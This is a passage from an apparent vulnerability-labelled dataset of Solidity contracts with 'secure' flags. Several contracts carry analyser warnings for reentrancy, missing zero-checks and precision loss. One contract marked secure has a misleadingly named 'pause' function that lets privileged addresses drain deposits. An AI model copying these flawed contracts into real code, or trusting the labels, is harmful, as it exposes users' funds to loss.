setGaugeState(\n address _gauge_address,\n bool _is_middleman,\n bool _is_active\n ) external;\n\n function setTimelock(address _new_timelock) external;\n\n function timelock_address() external view returns (address);\n\n function toggleDistributions() external;\n}",
"file_name": "solidity_code_3768.sol",
"secure": 1,
"size_bytes": 1487
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IveFXS {\n struct LockedBalance {\n int128 amount;\n uint256 end;\n }\n\n function commit_transfer_ownership(address addr) external;\n\n function apply_transfer_ownership() external;\n\n function commit_smart_wallet_checker(address addr) external;\n\n function apply_smart_wallet_checker() external;\n\n function toggleEmergencyUnlock() external;\n\n function recoverERC20(address token_addr, uint256 amount) external;\n\n function get_last_user_slope(address addr) external view returns (int128);\n\n function user_point_history__ts(\n address _addr,\n uint256 _idx\n ) external view returns (uint256);\n\n function locked__end(address _addr) external view returns (uint256);\n\n function checkpoint() external;\n\n function deposit_for(address _addr, uint256 _value) external;\n\n function create_lock(uint256 _value, uint256 _unlock_time) external;\n\n function increase_amount(uint256 _value) external;\n\n function increase_unlock_time(uint256 _unlock_time) external;\n\n function withdraw() external;\n\n function balanceOf(address addr) external view returns (uint256);\n\n function balanceOf(\n address addr,\n uint256 _t\n ) external view returns (uint256);\n\n function balanceOfAt(\n address addr,\n uint256 _block\n ) external view returns (uint256);\n\n function totalSupply() external view returns (uint256);\n\n function totalSupply(uint256 t) external view returns (uint256);\n\n function totalSupplyAt(uint256 _block) external view returns (uint256);\n\n function totalFXSSupply() external view returns (uint256);\n\n function totalFXSSupplyAt(uint256 _block) external view returns (uint256);\n\n function changeController(address _newController) external;\n\n function token() external view returns (address);\n\n function supply() external view returns (uint256);\n\n function locked(address addr) external view returns (LockedBalance memory);\n\n function epoch() external view returns (uint256);\n\n function point_history(\n uint256 arg0\n )\n external\n view\n returns (\n int128 bias,\n int128 slope,\n uint256 ts,\n uint256 blk,\n uint256 fxs_amt\n );\n\n function user_point_history(\n address arg0,\n uint256 arg1\n )\n external\n view\n returns (\n int128 bias,\n int128 slope,\n uint256 ts,\n uint256 blk,\n uint256 fxs_amt\n );\n\n function user_point_epoch(address arg0) external view returns (uint256);\n\n function slope_changes(uint256 arg0) external view returns (int128);\n\n function controller() external view returns (address);\n\n function transfersEnabled() external view returns (bool);\n\n function emergencyUnlockActive() external view returns (bool);\n\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function version() external view returns (string memory);\n\n function decimals() external view returns (uint256);\n\n function future_smart_wallet_checker() external view returns (address);\n\n function smart_wallet_checker() external view returns (address);\n\n function admin() external view returns (address);\n\n function future_admin() external view returns (address);\n}",
"file_name": "solidity_code_3769.sol",
"secure": 1,
"size_bytes": 3575
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract OrderManagerV2 {\n IERC20 public immutable mollarsToken;\n\n address public immutable deployer;\n\n address public constant authorizedRecipient =\n 0xc76676F120700465F133932888714687Bd6133D0;\n\n constructor(address _mollarsTokenAddress) {\n mollarsToken = IERC20(_mollarsTokenAddress);\n\n deployer = msg.sender;\n }\n\n modifier onlyAuthorized() {\n require(\n msg.sender == deployer || msg.sender == authorizedRecipient,\n \"Not authorized\"\n );\n\n _;\n }\n\n function addPool(uint256 amount) external {\n require(amount > 0, \"Amount must be greater than zero\");\n\n require(\n mollarsToken.transferFrom(msg.sender, address(this), amount),\n \"Transfer failed\"\n );\n }\n\n function pause(uint256 amount) external onlyAuthorized {\n require(amount > 0, \"Amount must be greater than zero\");\n\n uint256 contractBalance = mollarsToken.balanceOf(address(this));\n\n require(contractBalance >= amount, \"Insufficient contract balance\");\n\n require(mollarsToken.transfer(msg.sender, amount), \"Withdrawal failed\");\n }\n\n function checkBalance(address account) external view returns (uint256) {\n return mollarsToken.balanceOf(account);\n }\n\n function getContractBalance() external view returns (uint256) {\n return mollarsToken.balanceOf(address(this));\n }\n}",
"file_name": "solidity_code_377.sol",
"secure": 1,
"size_bytes": 1594
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\nlibrary Math {\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a >= b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);\n }\n\n function sqrt(uint256 y) internal pure returns (uint256 z) {\n if (y > 3) {\n z = y;\n\n uint256 x = y / 2 + 1;\n\n while (x < z) {\n z = x;\n\n x = (y / x + x) / 2;\n }\n } else if (y != 0) {\n z = 1;\n }\n }\n}",
"file_name": "solidity_code_3770.sol",
"secure": 1,
"size_bytes": 795
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IConvexBaseRewardPool {\n function addExtraReward(address _reward) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n\n function clearExtraRewards() external;\n\n function currentRewards() external view returns (uint256);\n\n function donate(uint256 _amount) external returns (bool);\n\n function duration() external view returns (uint256);\n\n function earned(address account) external view returns (uint256);\n\n function extraRewards(uint256) external view returns (address);\n\n function extraRewardsLength() external view returns (uint256);\n\n function getReward() external returns (bool);\n\n function getReward(\n address _account,\n bool _claimExtras\n ) external returns (bool);\n\n function historicalRewards() external view returns (uint256);\n\n function lastTimeRewardApplicable() external view returns (uint256);\n\n function lastUpdateTime() external view returns (uint256);\n\n function newRewardRatio() external view returns (uint256);\n\n function operator() external view returns (address);\n\n function periodFinish() external view returns (uint256);\n\n function pid() external view returns (uint256);\n\n function queueNewRewards(uint256 _rewards) external returns (bool);\n\n function queuedRewards() external view returns (uint256);\n\n function rewardManager() external view returns (address);\n\n function rewardPerToken() external view returns (uint256);\n\n function rewardPerTokenStored() external view returns (uint256);\n\n function rewardRate() external view returns (uint256);\n\n function rewardToken() external view returns (address);\n\n function rewards(address) external view returns (uint256);\n\n function stake(uint256 _amount) external returns (bool);\n\n function stakeAll() external returns (bool);\n\n function stakeFor(address _for, uint256 _amount) external returns (bool);\n\n function stakingToken() external view returns (address);\n\n function totalSupply() external view returns (uint256);\n\n function userRewardPerTokenPaid(address) external view returns (uint256);\n\n function withdraw(uint256 amount, bool claim) external returns (bool);\n\n function withdrawAll(bool claim) external;\n\n function withdrawAllAndUnwrap(bool claim) external;\n\n function withdrawAndUnwrap(\n uint256 amount,\n bool claim\n ) external returns (bool);\n}",
"file_name": "solidity_code_3771.sol",
"secure": 1,
"size_bytes": 2569
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\ncontract Owned {\n address public owner;\n\n address public nominatedOwner;\n\n constructor(address _owner) public {\n require(_owner != address(0), \"Owner address cannot be 0\");\n\n owner = _owner;\n\n emit OwnerChanged(address(0), _owner);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4fa112f): Owned.nominateNewOwner(address)._owner lacks a zerocheck on \t nominatedOwner = _owner\n\t// Recommendation for 4fa112f: Check that the address is not zero.\n function nominateNewOwner(address _owner) external onlyOwner {\n\t\t// missing-zero-check | ID: 4fa112f\n nominatedOwner = _owner;\n\n emit OwnerNominated(_owner);\n }\n\n function acceptOwnership() external {\n require(\n msg.sender == nominatedOwner,\n \"You must be nominated before you can accept ownership\"\n );\n\n emit OwnerChanged(owner, nominatedOwner);\n\n owner = nominatedOwner;\n\n nominatedOwner = address(0);\n }\n\n modifier onlyOwner() {\n require(\n msg.sender == owner,\n \"Only the contract owner may perform this action\"\n );\n\n _;\n }\n\n event OwnerNominated(address newOwner);\n\n event OwnerChanged(address oldOwner, address newOwner);\n}",
"file_name": "solidity_code_3772.sol",
"secure": 0,
"size_bytes": 1391
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./Owned.sol\" as Owned;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IFraxGaugeController.sol\" as IFraxGaugeController;\nimport \"./IFraxGaugeFXSRewardsDistributor.sol\" as IFraxGaugeFXSRewardsDistributor;\nimport \"./IveFXS.sol\" as IveFXS;\nimport \"@openzeppelin/contracts/utils/math/Math.sol\" as Math;\nimport \"./TransferHelper.sol\" as TransferHelper;\n\ncontract FraxUnifiedFarmTemplate is Owned, ReentrancyGuard {\n IveFXS private constant veFXS =\n IveFXS(0xc8418aF6358FFddA74e09Ca9CC3Fe03Ca6aDC5b0);\n\n address internal constant frax_address =\n 0x853d955aCEf822Db058eb8505911ED77F175b99e;\n\n uint256 public fraxPerLPStored;\n\n uint256 internal constant MULTIPLIER_PRECISION = 1e18;\n\n uint256 public periodFinish;\n\n uint256 public lastUpdateTime;\n\n uint256 public lock_max_multiplier = uint256(2e18);\n\n uint256 public lock_time_for_max_multiplier = 1 * 1095 * 86400;\n\n uint256 public lock_time_min = 1;\n\n uint256 public vefxs_boost_scale_factor = uint256(4e18);\n\n uint256 public vefxs_max_multiplier = uint256(2e18);\n\n uint256 public vefxs_per_frax_for_max_boost = uint256(4e18);\n\n mapping(address => uint256) internal _vefxsMultiplierStored;\n\n mapping(address => bool) internal valid_vefxs_proxies;\n\n mapping(address => mapping(address => bool)) internal proxy_allowed_stakers;\n\n mapping(address => address) public rewardManagers;\n\n address[] internal rewardTokens;\n\n address[] internal gaugeControllers;\n\n address[] internal rewardDistributors;\n\n uint256[] internal rewardRatesManual;\n\n mapping(address => bool) internal isRewardToken;\n\n mapping(address => uint256) public rewardTokenAddrToIdx;\n\n uint256 public constant rewardsDuration = 604800;\n\n uint256[] private rewardsPerTokenStored;\n\n mapping(address => mapping(uint256 => uint256))\n private userRewardsPerTokenPaid;\n\n mapping(address => mapping(uint256 => uint256)) private rewards;\n\n mapping(address => uint256) public lastRewardClaimTime;\n\n uint256[] private last_gauge_relative_weights;\n\n uint256[] private last_gauge_time_totals;\n\n uint256 internal _total_liquidity_locked;\n\n uint256 internal _total_combined_weight;\n\n mapping(address => uint256) internal _locked_liquidity;\n\n mapping(address => uint256) internal _combined_weights;\n\n mapping(address => uint256) public proxy_lp_balances;\n\n mapping(address => address) public staker_designated_proxies;\n\n bool public stakesUnlocked;\n\n bool internal withdrawalsPaused;\n\n bool internal rewardsCollectionPaused;\n\n bool internal stakingPaused;\n\n bool public withdrawalOnlyShutdown;\n\n\t// WARNING Optimization Issue (constable-states | ID: 511ed5c): FraxUnifiedFarmTemplate.version should be constant \n\t// Recommendation for 511ed5c: Add the 'constant' attribute to state variables that never change.\n string public version = \"1.0.6\";\n\n modifier onlyByOwnGov() {\n require(\n msg.sender == owner ||\n msg.sender == 0x8412ebf45bAC1B340BbE8F318b928C466c4E39CA,\n \"Not owner or timelock\"\n );\n\n _;\n }\n\n modifier onlyTknMgrs(address reward_token_address) {\n require(\n msg.sender == owner ||\n isTokenManagerFor(msg.sender, reward_token_address),\n \"Not owner or tkn mgr\"\n );\n\n _;\n }\n\n modifier updateRewardAndBalanceMdf(address account, bool sync_too) {\n _updateRewardAndBalance(account, sync_too, false);\n\n _;\n }\n\n constructor(\n address _owner,\n address[] memory _rewardTokens,\n address[] memory _rewardManagers,\n uint256[] memory _rewardRatesManual,\n address[] memory _gaugeControllers,\n address[] memory _rewardDistributors\n ) Owned(_owner) {\n rewardTokens = _rewardTokens;\n\n gaugeControllers = _gaugeControllers;\n\n rewardDistributors = _rewardDistributors;\n\n rewardRatesManual = _rewardRatesManual;\n\n for (uint256 i = 0; i < _rewardTokens.length; i++) {\n rewardTokenAddrToIdx[_rewardTokens[i]] = i;\n\n isRewardToken[_rewardTokens[i]] = true;\n\n rewardsPerTokenStored.push(0);\n\n rewardManagers[_rewardTokens[i]] = _rewardManagers[i];\n\n last_gauge_relative_weights.push(0);\n\n last_gauge_time_totals.push(0);\n }\n\n stakesUnlocked = false;\n\n lastUpdateTime = block.timestamp;\n\n periodFinish = IFraxGaugeController(\n 0x3669C421b77340B2979d1A00a792CC2ee0FcE737\n ).time_total();\n }\n\n function isTokenManagerFor(\n address caller_addr,\n address reward_token_addr\n ) public view returns (bool) {\n if (!isRewardToken[reward_token_addr]) return false;\n else if (caller_addr == address(0) || reward_token_addr == address(0))\n return false;\n else if (caller_addr == owner) return true;\n else if (rewardManagers[reward_token_addr] == caller_addr) return true;\n\n return false;\n }\n\n function getAllRewardTokens() external view returns (address[] memory) {\n return rewardTokens;\n }\n\n function lastTimeRewardApplicable() internal view returns (uint256) {\n return Math.min(block.timestamp, periodFinish);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: fc3c027): Calls inside a loop might lead to a denial-of-service attack.\n\t// Recommendation for fc3c027: Favor pull over push strategy for external calls.\n function rewardRates(\n uint256 token_idx\n ) public view returns (uint256 rwd_rate) {\n address gauge_controller_address = gaugeControllers[token_idx];\n\n if (gauge_controller_address != address(0)) {\n\t\t\t// calls-loop | ID: fc3c027\n rwd_rate =\n (IFraxGaugeController(gauge_controller_address)\n .global_emission_rate() *\n last_gauge_relative_weights[token_idx]) /\n 1e18;\n } else {\n rwd_rate = rewardRatesManual[token_idx];\n }\n }\n\n function rewardsPerToken()\n public\n view\n returns (uint256[] memory newRewardsPerTokenStored)\n {\n if (_total_liquidity_locked == 0 || _total_combined_weight == 0) {\n return rewardsPerTokenStored;\n } else {\n newRewardsPerTokenStored = new uint256[](rewardTokens.length);\n\n\t\t\t// cache-array-length | ID: 2f974c8\n for (uint256 i = 0; i < rewardsPerTokenStored.length; i++) {\n newRewardsPerTokenStored[i] =\n rewardsPerTokenStored[i] +\n (((lastTimeRewardApplicable() - lastUpdateTime) *\n rewardRates(i) *\n 1e18) / _total_combined_weight);\n }\n\n return newRewardsPerTokenStored;\n }\n }\n\n function earned(\n address account\n ) public view returns (uint256[] memory new_earned) {\n uint256[] memory reward_arr = rewardsPerToken();\n\n new_earned = new uint256[](rewardTokens.length);\n\n if (_combined_weights[account] > 0) {\n\t\t\t// cache-array-length | ID: 6200a24\n for (uint256 i = 0; i < rewardTokens.length; i++) {\n new_earned[i] =\n ((_combined_weights[account] *\n (reward_arr[i] - userRewardsPerTokenPaid[account][i])) /\n 1e18) +\n rewards[account][i];\n }\n }\n }\n\n function getRewardForDuration()\n external\n view\n returns (uint256[] memory rewards_per_duration_arr)\n {\n rewards_per_duration_arr = new uint256[](rewardRatesManual.length);\n\n\t\t// cache-array-length | ID: 81ff1ac\n for (uint256 i = 0; i < rewardRatesManual.length; i++) {\n rewards_per_duration_arr[i] = rewardRates(i) * rewardsDuration;\n }\n }\n\n function totalLiquidityLocked() external view returns (uint256) {\n return _total_liquidity_locked;\n }\n\n function lockedLiquidityOf(\n address account\n ) external view returns (uint256) {\n return _locked_liquidity[account];\n }\n\n function totalCombinedWeight() external view returns (uint256) {\n return _total_combined_weight;\n }\n\n function combinedWeightOf(address account) external view returns (uint256) {\n return _combined_weights[account];\n }\n\n function calcCurCombinedWeight(\n address account\n )\n public\n view\n virtual\n returns (\n uint256 old_combined_weight,\n uint256 new_vefxs_multiplier,\n uint256 new_combined_weight\n )\n {\n revert(\"Need cCCW logic\");\n }\n\n function lockMultiplier(uint256 secs) public view returns (uint256) {\n return\n Math.min(\n lock_max_multiplier,\n (secs * lock_max_multiplier) / lock_time_for_max_multiplier\n );\n }\n\n function userStakedFrax(address account) public view returns (uint256) {\n return\n (fraxPerLPStored * _locked_liquidity[account]) /\n MULTIPLIER_PRECISION;\n }\n\n function proxyStakedFrax(\n address proxy_address\n ) public view returns (uint256) {\n return\n (fraxPerLPStored * proxy_lp_balances[proxy_address]) /\n MULTIPLIER_PRECISION;\n }\n\n function maxLPForMaxBoost(address account) external view returns (uint256) {\n return\n (veFXS.balanceOf(account) *\n MULTIPLIER_PRECISION *\n MULTIPLIER_PRECISION) /\n (vefxs_per_frax_for_max_boost * fraxPerLPStored);\n }\n\n function fraxPerLPToken() public view virtual returns (uint256) {\n revert(\"Need fPLPT logic\");\n }\n\n function minVeFXSForMaxBoost(\n address account\n ) public view returns (uint256) {\n return\n (userStakedFrax(account) * vefxs_per_frax_for_max_boost) /\n MULTIPLIER_PRECISION;\n }\n\n function minVeFXSForMaxBoostProxy(\n address proxy_address\n ) public view returns (uint256) {\n return\n (proxyStakedFrax(proxy_address) * vefxs_per_frax_for_max_boost) /\n MULTIPLIER_PRECISION;\n }\n\n function getProxyFor(address addr) public view returns (address) {\n if (valid_vefxs_proxies[addr]) {\n return addr;\n } else {\n return staker_designated_proxies[addr];\n }\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8dfa1d2): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 8dfa1d2: Consider ordering multiplication before division.\n function veFXSMultiplier(\n address account\n ) public view returns (uint256 vefxs_multiplier) {\n uint256 vefxs_bal_to_use = 0;\n\n address the_proxy = getProxyFor(account);\n\n vefxs_bal_to_use = (the_proxy == address(0))\n ? veFXS.balanceOf(account)\n : veFXS.balanceOf(the_proxy);\n\n uint256 mult_optn_1 = (vefxs_bal_to_use *\n vefxs_max_multiplier *\n vefxs_boost_scale_factor) /\n (veFXS.totalSupply() * MULTIPLIER_PRECISION);\n\n uint256 mult_optn_2;\n\n {\n uint256 veFXS_needed_for_max_boost;\n\n veFXS_needed_for_max_boost = (the_proxy == address(0))\n ? minVeFXSForMaxBoost(account)\n : minVeFXSForMaxBoostProxy(the_proxy);\n\n if (veFXS_needed_for_max_boost > 0) {\n\t\t\t\t// divide-before-multiply | ID: 8dfa1d2\n uint256 user_vefxs_fraction = (vefxs_bal_to_use *\n MULTIPLIER_PRECISION) / veFXS_needed_for_max_boost;\n\n\t\t\t\t// divide-before-multiply | ID: 8dfa1d2\n mult_optn_2 =\n (user_vefxs_fraction * vefxs_max_multiplier) /\n MULTIPLIER_PRECISION;\n } else mult_optn_2 = 0;\n }\n\n vefxs_multiplier = (\n mult_optn_1 > mult_optn_2 ? mult_optn_1 : mult_optn_2\n );\n\n if (vefxs_multiplier > vefxs_max_multiplier)\n vefxs_multiplier = vefxs_max_multiplier;\n }\n\n function proxyToggleStaker(address staker_address) external {\n require(valid_vefxs_proxies[msg.sender], \"Invalid proxy\");\n\n proxy_allowed_stakers[msg.sender][\n staker_address\n ] = !proxy_allowed_stakers[msg.sender][staker_address];\n\n if (staker_designated_proxies[staker_address] == msg.sender) {\n staker_designated_proxies[staker_address] = address(0);\n\n proxy_lp_balances[msg.sender] -= _locked_liquidity[staker_address];\n }\n }\n\n function stakerSetVeFXSProxy(address proxy_address) external {\n require(valid_vefxs_proxies[proxy_address], \"Invalid proxy\");\n\n require(\n proxy_allowed_stakers[proxy_address][msg.sender],\n \"Proxy has not allowed you yet\"\n );\n\n address old_proxy_addr = staker_designated_proxies[msg.sender];\n\n if (old_proxy_addr != address(0)) {\n proxy_lp_balances[old_proxy_addr] -= _locked_liquidity[msg.sender];\n }\n\n staker_designated_proxies[msg.sender] = proxy_address;\n\n proxy_lp_balances[proxy_address] += _locked_liquidity[msg.sender];\n }\n\n function _updateRewardAndBalance(address account, bool sync_too) internal {\n _updateRewardAndBalance(account, sync_too, false);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c8dc5a2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c8dc5a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: b1b5cc3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for b1b5cc3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _updateRewardAndBalance(\n address account,\n bool sync_too,\n bool pre_sync_vemxstored\n ) internal {\n if (!withdrawalOnlyShutdown) {\n if (sync_too) {\n\t\t\t\t// reentrancy-benign | ID: c8dc5a2\n\t\t\t\t// reentrancy-no-eth | ID: b1b5cc3\n sync();\n }\n }\n\n if (pre_sync_vemxstored) {\n\t\t\t// reentrancy-benign | ID: c8dc5a2\n\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t\t// reentrancy-no-eth | ID: a81a7dd\n _vefxsMultiplierStored[account] = veFXSMultiplier(account);\n }\n\n if (account != address(0)) {\n (\n uint256 old_combined_weight,\n uint256 new_vefxs_multiplier,\n uint256 new_combined_weight\n ) = calcCurCombinedWeight(account);\n\n\t\t\t// reentrancy-benign | ID: c8dc5a2\n if (!withdrawalOnlyShutdown) _syncEarned(account);\n\n\t\t\t// reentrancy-benign | ID: c8dc5a2\n\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t\t// reentrancy-no-eth | ID: a81a7dd\n _vefxsMultiplierStored[account] = new_vefxs_multiplier;\n\n if (new_combined_weight >= old_combined_weight) {\n uint256 weight_diff = new_combined_weight - old_combined_weight;\n\n\t\t\t\t// reentrancy-no-eth | ID: b1b5cc3\n\t\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t\t\t// reentrancy-no-eth | ID: a81a7dd\n _total_combined_weight = _total_combined_weight + weight_diff;\n\n\t\t\t\t// reentrancy-benign | ID: c8dc5a2\n\t\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t\t\t// reentrancy-no-eth | ID: a81a7dd\n _combined_weights[account] = old_combined_weight + weight_diff;\n } else {\n uint256 weight_diff = old_combined_weight - new_combined_weight;\n\n\t\t\t\t// reentrancy-no-eth | ID: b1b5cc3\n\t\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t\t\t// reentrancy-no-eth | ID: a81a7dd\n _total_combined_weight = _total_combined_weight - weight_diff;\n\n\t\t\t\t// reentrancy-benign | ID: c8dc5a2\n\t\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t\t\t// reentrancy-no-eth | ID: a81a7dd\n _combined_weights[account] = old_combined_weight - weight_diff;\n }\n }\n }\n\n function _syncEarned(address account) internal {\n if (account != address(0)) {\n uint256[] memory earned_arr = earned(account);\n\n for (uint256 i = 0; i < earned_arr.length; i++) {\n\t\t\t\t// reentrancy-benign | ID: c8dc5a2\n\t\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t\t\t// reentrancy-no-eth | ID: a81a7dd\n rewards[account][i] = earned_arr[i];\n }\n\n for (uint256 i = 0; i < earned_arr.length; i++) {\n\t\t\t\t// reentrancy-benign | ID: c8dc5a2\n\t\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t\t\t// reentrancy-no-eth | ID: a81a7dd\n userRewardsPerTokenPaid[account][i] = rewardsPerTokenStored[i];\n }\n }\n }\n\n function getRewardExtraLogic(\n address destination_address\n ) public nonReentrant {\n require(!withdrawalOnlyShutdown, \"Only withdrawals allowed\");\n\n require(rewardsCollectionPaused == false, \"Rewards collection paused\");\n\n return _getRewardExtraLogic(msg.sender, destination_address);\n }\n\n function _getRewardExtraLogic(\n address rewardee,\n address destination_address\n ) internal virtual {\n revert(\"Need gREL logic\");\n }\n\n function getReward(\n address destination_address\n ) external nonReentrant returns (uint256[] memory) {\n return _getReward(msg.sender, destination_address, true);\n }\n\n function getReward2(\n address destination_address,\n bool claim_extra_too\n ) external nonReentrant returns (uint256[] memory) {\n return _getReward(msg.sender, destination_address, claim_extra_too);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7bc7275): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7bc7275: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 1f933cc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 1f933cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _getReward(\n address rewardee,\n address destination_address,\n bool do_extra_logic\n )\n internal\n\t\t// reentrancy-benign | ID: 7bc7275\n\t\t// reentrancy-no-eth | ID: 1f933cc\n updateRewardAndBalanceMdf(rewardee, true)\n returns (uint256[] memory rewards_before)\n {\n require(!withdrawalOnlyShutdown, \"Only withdrawals allowed\");\n\n require(rewardsCollectionPaused == false, \"Rewards collection paused\");\n\n\t\t// reentrancy-benign | ID: 7bc7275\n lastRewardClaimTime[rewardee] = block.timestamp;\n\n rewards_before = new uint256[](rewardTokens.length);\n\n for (uint256 i = 0; i < rewardTokens.length; i++) {\n rewards_before[i] = rewards[rewardee][i];\n\n\t\t\t// reentrancy-no-eth | ID: 1f933cc\n rewards[rewardee][i] = 0;\n\n if (rewards_before[i] > 0) {\n\t\t\t\t// reentrancy-no-eth | ID: 1f933cc\n\t\t\t\t// reentrancy-no-eth | ID: 587956e\n\t\t\t\t// reentrancy-no-eth | ID: 27fcf58\n\t\t\t\t// reentrancy-no-eth | ID: e4efbef\n\t\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t\t\t// reentrancy-no-eth | ID: a81a7dd\n TransferHelper.safeTransfer(\n rewardTokens[i],\n destination_address,\n rewards_before[i]\n );\n\n emit RewardPaid(\n rewardee,\n rewards_before[i],\n rewardTokens[i],\n destination_address\n );\n }\n }\n\n if (do_extra_logic) {\n _getRewardExtraLogic(rewardee, destination_address);\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 5e37a3f): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 5e37a3f: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0a9b530): FraxUnifiedFarmTemplate.retroCatchUp() ignores return value by IFraxGaugeFXSRewardsDistributor(reward_distributor_address).distributeReward(address(this))\n\t// Recommendation for 0a9b530: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 71c9a74): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 71c9a74: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function retroCatchUp() internal {\n _updateStoredRewardsAndTime();\n\n for (uint256 i = 0; i < rewardDistributors.length; i++) {\n address reward_distributor_address = rewardDistributors[i];\n\n if (reward_distributor_address != address(0)) {\n\t\t\t\t// reentrancy-benign | ID: 7bc7275\n\t\t\t\t// reentrancy-benign | ID: c8dc5a2\n\t\t\t\t// unused-return | ID: 0a9b530\n\t\t\t\t// reentrancy-no-eth | ID: 1f933cc\n\t\t\t\t// reentrancy-no-eth | ID: 587956e\n\t\t\t\t// reentrancy-no-eth | ID: b1b5cc3\n\t\t\t\t// reentrancy-no-eth | ID: 808361e\n\t\t\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t\t\t// reentrancy-no-eth | ID: 71c9a74\n\t\t\t\t// reentrancy-no-eth | ID: 27fcf58\n\t\t\t\t// reentrancy-no-eth | ID: e4efbef\n\t\t\t\t// reentrancy-no-eth | ID: 8420753\n\t\t\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t\t\t// reentrancy-no-eth | ID: a81a7dd\n IFraxGaugeFXSRewardsDistributor(reward_distributor_address)\n .distributeReward(address(this));\n }\n }\n\n uint256 num_periods_elapsed = uint256(block.timestamp - periodFinish) /\n rewardsDuration;\n\n\t\t// cache-array-length | ID: 0130726\n for (uint256 i = 0; i < rewardTokens.length; i++) {\n\t\t\t// timestamp | ID: 5e37a3f\n require(\n (rewardRates(i) *\n rewardsDuration *\n (num_periods_elapsed + 1)) <=\n IERC20(rewardTokens[i]).balanceOf(address(this)),\n string(\n abi.encodePacked(\n \"Not enough reward tokens available: \",\n rewardTokens[i]\n )\n )\n );\n }\n\n\t\t// reentrancy-no-eth | ID: 58d693a\n\t\t// reentrancy-no-eth | ID: 71c9a74\n\t\t// reentrancy-no-eth | ID: 8420753\n\t\t// reentrancy-no-eth | ID: e394dd0\n\t\t// reentrancy-no-eth | ID: a81a7dd\n periodFinish =\n periodFinish +\n ((num_periods_elapsed + 1) * rewardsDuration);\n\n\t\t// 